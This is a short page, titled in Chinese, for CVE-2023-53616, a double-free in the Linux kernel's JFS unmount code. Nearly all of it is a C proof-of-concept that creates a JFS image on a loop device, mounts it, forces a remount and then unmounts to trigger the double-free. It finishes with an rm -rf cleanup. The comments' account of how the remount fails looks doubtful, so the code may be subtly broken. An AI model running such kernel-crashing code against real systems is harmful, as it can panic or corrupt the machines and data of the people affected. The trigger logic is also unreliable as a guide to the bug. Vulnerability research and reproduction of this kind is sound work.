CVE-2023-53616 Linux内核JFS文件系统双重释放漏洞

// CVE-2023-53616 PoC - Trigger double-free in JFS diUnmount // This PoC demonstrates triggering the double-free vulnerability // by causing a remount failure followed by umount. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #define LOOP_DEVICE "/dev/loop0" #define MOUNT_POINT "/mnt/jfs_test" #define IMAGE_FILE "/tmp/jfs_image.img" #define IMAGE_SIZE (100 * 1024 * 1024) // 100MB int main(int argc, char *argv[]) { int ret; // Step 1: Create a JFS filesystem image printf("[*] Creating JFS filesystem image...\n"); int fd = open(IMAGE_FILE, O_CREAT | O_RDWR, 0644); if (fd < 0) { perror("open"); return 1; } ftruncate(fd, IMAGE_SIZE); close(fd); // Create JFS filesystem on the image ret = system("mkfs.jfs -f " IMAGE_FILE); if (ret != 0) { fprintf(stderr, "[-] mkfs.jfs failed\n"); return 1; } // Step 2: Setup loop device printf("[*] Setting up loop device...\n"); ret = system("losetup " LOOP_DEVICE " " IMAGE_FILE); if (ret != 0) { fprintf(stderr, "[-] losetup failed\n"); return 1; } // Create mount point mkdir(MOUNT_POINT, 0755); // Step 3: Mount JFS filesystem printf("[*] Mounting JFS filesystem...\n"); ret = mount(LOOP_DEVICE, MOUNT_POINT, "jfs", 0, NULL); if (ret != 0) { perror("mount"); return 1; } // Step 4: Trigger remount with invalid options to cause diMount failure // This will free i_imap in jfs_remount() but fail at diMount() printf("[*] Triggering remount failure...\n"); ret = mount(LOOP_DEVICE, MOUNT_POINT, "jfs", MS_REMOUNT | MS_RDONLY, "errors=panic"); // The remount may fail at diMount stage, leaving i_imap as dangling pointer // Step 5: Unmount to trigger double-free in diUnmount printf("[*] Unmounting to trigger double-free...\n"); sleep(1); ret = umount(MOUNT_POINT); if (ret != 0) { perror("umount"); } // Cleanup system("losetup -d " LOOP_DEVICE); system("rm -rf " MOUNT_POINT " " IMAGE_FILE); printf("[*] Done. Check dmesg for KASAN double-free report.\n"); return 0; }